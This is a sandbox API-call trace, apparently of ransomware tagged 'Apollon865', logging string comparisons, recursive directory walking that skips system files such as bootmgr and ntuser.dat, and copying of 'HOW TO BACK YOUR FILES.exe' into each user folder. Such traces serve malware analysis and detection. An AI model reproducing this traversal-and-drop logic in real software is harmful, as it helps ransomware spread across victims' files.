	[0044.182] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015"
	[0044.182] lstrlenW (lpString="94308059B57B3142E455B38A6EB92015") returned 32
	[0044.182] lstrlenW (lpString="Apollon865") returned 10
	[0044.182] lstrcmpiW (lpString1="8A6EB92015", lpString2="Apollon865") returned -1
	[0044.182] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" | out: lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9"
	[0044.182] lstrlenW (lpString="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 65
	[0044.182] lstrlenW (lpString="Apollon865") returned 10
	[0044.182] lstrcmpiW (lpString1="E5801A04F9", lpString2="Apollon865") returned 1
	[0044.182] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" | out: lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6"
	[0044.182] lstrlenW (lpString="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 65
	[0044.182] lstrlenW (lpString="Apollon865") returned 10
	[0044.182] lstrcmpiW (lpString1="2D9F0436E6", lpString2="Apollon865") returned -1
	[0044.182] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" | out: lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E"
	[0044.182] lstrlenW (lpString="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 65
	[0044.182] lstrlenW (lpString="Apollon865") returned 10
	[0044.182] lstrcmpiW (lpString1="EBC203A31E", lpString2="Apollon865") returned 1
	[0044.182] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061" | out: lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061"
	[0044.182] lstrlenW (lpString="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned 65
	[0044.182] lstrlenW (lpString="Apollon865") returned 10
	[0044.182] lstrcmpiW (lpString1="59DD10F061", lpString2="Apollon865") returned -1
	[0044.182] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450" | out: lpString1="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450"
	[0044.182] lstrlenW (lpString="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned 65
	[0044.182] lstrlenW (lpString="Apollon865") returned 10
	[0044.183] lstrcmpiW (lpString1="FABECF9450", lpString2="Apollon865") returned 1
	[0044.183] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" | out: lpString1="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001"
	[0044.183] lstrlenW (lpString="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned 65
	[0044.183] lstrlenW (lpString="Apollon865") returned 10
	[0044.183] lstrcmpiW (lpString1="6E4002D001", lpString2="Apollon865") returned -1
	[0044.183] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" | out: lpString1="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852"
	[0044.183] lstrlenW (lpString="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned 65
	[0044.183] lstrlenW (lpString="Apollon865") returned 10
	[0044.183] lstrcmpiW (lpString1="2610275852", lpString2="Apollon865") returned -1
	[0044.183] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8" | out: lpString1="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8"
	[0044.183] lstrlenW (lpString="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned 65
	[0044.183] lstrlenW (lpString="Apollon865") returned 10
	[0044.183] lstrcmpiW (lpString1="8CE82C3EB8", lpString2="Apollon865") returned -1
	[0044.183] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150" | out: lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150"
	[0044.183] lstrlenW (lpString="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned 65
	[0044.183] lstrlenW (lpString="Apollon865") returned 10
	[0044.183] lstrcmpiW (lpString1="D58E12F150", lpString2="Apollon865") returned 1
	[0044.183] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC" | out: lpString1="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC"
	[0044.183] lstrlenW (lpString="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned 65
	[0044.183] lstrlenW (lpString="Apollon865") returned 10
	[0044.183] lstrcmpiW (lpString1="F8FCD349FC", lpString2="Apollon865") returned 1
	[0044.183] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" | out: lpString1="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873"
	[0044.183] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned 65
	[0044.183] lstrlenW (lpString="Apollon865") returned 10
	[0044.183] lstrcmpiW (lpString1="6B63561873", lpString2="Apollon865") returned -1
	[0044.184] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE" | out: lpString1="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE"
	[0044.184] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned 65
	[0044.184] lstrlenW (lpString="Apollon865") returned 10
	[0044.184] lstrcmpiW (lpString1="C16D16B7CE", lpString2="Apollon865") returned 1
	[0044.184] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF" | out: lpString1="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF"
	[0044.184] lstrlenW (lpString="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned 65
	[0044.184] lstrlenW (lpString="Apollon865") returned 10
	[0044.184] lstrcmpiW (lpString1="2451D392CF", lpString2="Apollon865") returned -1
	[0044.184] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC" | out: lpString1="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC"
	[0044.184] lstrlenW (lpString="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned 65
	[0044.184] lstrlenW (lpString="Apollon865") returned 10
	[0044.184] lstrcmpiW (lpString1="F4C7D6E9CC", lpString2="Apollon865") returned 1
	[0044.184] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE" | out: lpString1="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE"
	[0044.184] lstrlenW (lpString="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned 65
	[0044.184] lstrlenW (lpString="Apollon865") returned 10
	[0044.184] lstrcmpiW (lpString1="48E9FE86DE", lpString2="Apollon865") returned -1
	[0044.184] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" | out: lpString1="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C"
	[0044.184] lstrlenW (lpString="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned 65
	[0044.184] lstrlenW (lpString="Apollon865") returned 10
	[0044.184] lstrcmpiW (lpString1="5F24B14C2C", lpString2="Apollon865") returned -1
	[0044.184] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" | out: lpString1="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585"
	[0044.184] lstrlenW (lpString="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned 65
	[0044.184] lstrlenW (lpString="Apollon865") returned 10
	[0044.184] lstrcmpiW (lpString1="37D0838585", lpString2="Apollon865") returned -1
	[0044.184] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1" | out: lpString1="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1"
	[0044.185] lstrlenW (lpString="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned 65
	[0044.185] lstrlenW (lpString="Apollon865") returned 10
	[0044.185] lstrcmpiW (lpString1="D0C000C9C1", lpString2="Apollon865") returned 1
	[0044.185] lstrcpyW (in: lpString1=0x2d3e5f4, lpString2="F90F18257CBB4D84216AC1E1F3BB2C76" | out: lpString1="F90F18257CBB4D84216AC1E1F3BB2C76") returned="F90F18257CBB4D84216AC1E1F3BB2C76"
	[0044.185] lstrlenW (lpString="F90F18257CBB4D84216AC1E1F3BB2C76") returned 32
	[0044.185] lstrlenW (lpString="Apollon865") returned 10
	[0044.185] lstrcmpiW (lpString1="E1F3BB2C76", lpString2="Apollon865") returned 1
	[0044.185] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe"
	[0044.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0044.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0044.185] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned 52
	[0044.185] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe"
	[0044.185] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.185] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.196] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.196] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x326929f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326929f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.196] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.196] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.196] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.196] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x326929f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326929f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.197] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.197] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.197] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.197] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.197] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="Apollon865.txt.exe") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1
	[0044.197] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1
	[0044.197] lstrlenW (lpString="Acrobat") returned 7
	[0044.197] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*") returned 54
	[0044.197] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat"
	[0044.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0044.197] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0044.197] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0044.197] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x326929f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x326929f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.197] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.197] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1
	[0044.197] lstrcmpiW (lpString1="Linguistics", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.197] lstrcmpiW (lpString1="Linguistics", lpString2="Apollon865.txt.exe") returned 1
	[0044.197] lstrcmpiW (lpString1="Linguistics", lpString2=".") returned 1
	[0044.197] lstrcmpiW (lpString1="Linguistics", lpString2="..") returned 1
	[0044.197] lstrcmpiW (lpString1="Linguistics", lpString2="windows") returned -1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="bootmgr") returned 1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="temp") returned -1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="pagefile.sys") returned -1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="boot") returned 1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="ids.txt") returned 1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="ntuser.dat") returned -1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="perflogs") returned -1
	[0044.198] lstrcmpiW (lpString1="Linguistics", lpString2="MSBuild") returned -1
	[0044.198] lstrlenW (lpString="Linguistics") returned 11
	[0044.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned 60
	[0044.198] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="Linguistics" | out: lpString1="Linguistics") returned="Linguistics"
	[0044.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0044.198] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0044.198] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0044.198] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0
	[0044.198] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.198] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0044.198] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics"
	[0044.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0044.198] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0044.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned 64
	[0044.198] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics"
	[0044.198] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.198] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.203] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.203] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326b8b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.203] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.203] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.203] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.203] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326b8b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.203] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.203] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.203] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.203] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.203] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1
	[0044.203] lstrcmpiW (lpString1="Dictionaries", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.203] lstrcmpiW (lpString1="Dictionaries", lpString2="Apollon865.txt.exe") returned 1
	[0044.203] lstrcmpiW (lpString1="Dictionaries", lpString2=".") returned 1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="..") returned 1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="windows") returned -1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="bootmgr") returned 1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="temp") returned -1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="pagefile.sys") returned -1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="boot") returned 1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="ids.txt") returned -1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="ntuser.dat") returned -1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="perflogs") returned -1
	[0044.204] lstrcmpiW (lpString1="Dictionaries", lpString2="MSBuild") returned -1
	[0044.204] lstrlenW (lpString="Dictionaries") returned 12
	[0044.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*") returned 66
	[0044.204] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Dictionaries" | out: lpString1="Dictionaries") returned="Dictionaries"
	[0044.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0044.204] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x599450
